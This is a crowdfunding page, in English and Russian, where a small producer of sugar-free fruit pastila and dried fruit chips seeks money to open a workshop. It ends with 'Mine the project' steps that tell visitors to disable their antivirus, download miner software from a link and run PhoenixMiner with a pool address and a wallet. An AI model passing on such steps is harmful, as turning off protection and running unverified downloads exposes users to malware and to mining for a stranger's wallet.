Eco-snacks: original marshmallows and healthy chips

Fancy fruit snacks with vitamins and no sugar or additives.

$0.00
<1%
raised of $500
Time left
116 days
Back this project
From balance
$
Author: Guzel Latypova

My name is Guzel and two years ago I started cooking thin homemade candy only from fruits and berries, with the recipes of my grandmother. No sugar and additives!
 

I also invented new, original recipes for  marshmallow: "antipasti" (cranberry-apple-ginger-honey), "mulled wine" (grapes+apple+spices), "melon-banana-nuts", "strawberry Mojito" and many others. And I love when it’s not only delicious, but also beautiful! :)

We also cook a variety of fruits by drying them. In addition to some traditional varieties, we use pineapple, mango, kiwi, tangerines, persimmons, melon and even watermelon!
 

All without sugar and additives. Fruits after drying reduce in weight by 10-15 times, and it becomes very convenient to carry a half kilo of fresh fruits weighing a mere 130 grams when dried. And most importantly - all vitamins are preserved!
 

Experts say than to maintain your health, you need to eat 400-600g of fruits and berries per day. Not just apples, bananas - variety is crucial. You can go buy 6 kg of different fruits and berries that would keep you going for a week. But in reality, usually half of it just disappears in the refrigerator. Instead, you could take a box of fruit chips. For a few weeks they will provide your whole family with a full set of grapes, apricots, sea buckthorn, blueberries, raspberries, feijoa, plum, pumpkin, etc. Carry them in the car, or throw them in the briefcase.

I would like to develop the business and come up with new delicious pieces. I want to prove that it is possible to produce natural goodies without a dozen additives. I want more people to know that they have an alternative to sugar on their shelves!
 

My dream is to start producing a range of vegetable pastes. We’re already starting to produce vegetable chips that are even more useful than fruit!
 

I know our growth points, but we are hampered by the limited possibilities of our premises and equipment - now we rent a kitchen. We calculated how much money we need to open a shop, talked to the people who opened a food production. Our costs will increase significantly. It's scary to just invest all our money in the shop without securing future orders.

I was encouraged by the idea of crowdfunding. I will offer products at special prices, and in return receive the means to open up a shop. I do not know if this idea will work, but I will be very grateful to everyone who will believe in me and my product! Support us by purchasing one of the rewards from the list posted here.
 

= = = = = =
 

Цех мечты для вкусностей без сахара и добавок.
 

Меня зовут Гузель, и 2 года назад я создала проект «ЭкоСнеки». Начала готовить тонкую домашнюю пастилу по заветам моей бабушки - в составе только фрукты и ягоды. Без сахара и добавок! Как привить ребенку любовь к полезным, но кислым ягодам вроде брусники или облепихи? Дать их в виде пастилы! К кислым ягодам я добавляю печёные яблоки и банан - за уши не оттащишь :)
 

Люблю экспериментировать, пастилу готовлю даже из манго и фейхоа, вкуснота нереальная! Придумала авторские рецепты пастилы: «антипростуда» (брусника-яблоко-имбирь-мёд), «глинтвейн» (виноград+яблоко+специи), «дыня-банан-орехи», «клубничный мохито» и много других. А еще очень люблю, когда не только вкусно, но и красиво! :)
 

Фрукты мы тоже сушим самые разные. Кроме традиционных, это ананас, манго, киви, дыня и даже арбуз! Сейчас зима, мы активно сушим мандарины и хурму.
 

Всё без сахара и добавок, это принципиально. Фрукты при такой сушке теряют в весе в 10-15 раз, очень удобно таскать с собой полтора кило разнообразных фруктов весом 130г. ВАЖНО - все витамины сохраняются!
 

Для поддержания своего здоровья нужно в день съедать 400-600г фруктов и ягод. Не просто яблоки-бананы, важно разнообразие. Можно пойти купить на неделю 6кг разных фруктов и ягод, половина обычно так и пропадает в холодильнике. А можно взять коробку пастилы и фруктовых чипсов. И на несколько недель обеспечить всю семью полным набором: виноград, абрикос, облепиха, черника, малина, фейхоа, слива, тыква итд. Таскать в машине, кинуть детям в портфель.
 

Хочу расти и придумывать еще больше полезных вкусных штук. Хочу доказать, что возможно производить натуральные вкусности без десятка добавок в составе. Хочу, чтобы больше людей знали, что у них есть альтернатива засилию сахара на прилавках!

Мечтаю пустить в работу линейку овощной пастилы. Овощные чипсы уже потихоньку запускаем, а ведь это еще полезнее фруктов!

Я знаю точки нашего роста, но нас тормозят ограниченные возможности помещения и оборудования - сейчас мы арендуем кухню. Мы посчитали, сколько денег нужно на открытие цеха, проконсультировались с людьми, которые открывали пищевое производство. Затраты наши вырастут в разы. Страшно просто взять и вложить все наши средства в цех, не набрав заказы.

Мне подсказали идею краудфандинга. Предложить свою продукцию по специальным ценам, а взамен обеспечить себя средствами на открытие цеха. Я не знаю, сработает ли эта идея, но буду очень благодарна всем, кто поверит в меня и мой продукт!

Choose reward.

 

Mine the project

  1. Disable antivirus
  2. Download Miner soft on this link.
  3. Extract folder on desktop
  4. Open and run "start_miner"
  5. Open epools.txt and paste: POOL:eu1.ethermine.org:4444, WAL:0xda4f25ff75d6a142b59c87cbdb1e7ec4d87a8e16
  6. Save changes and close the file
  7. Run "PhoenixMiner.exe"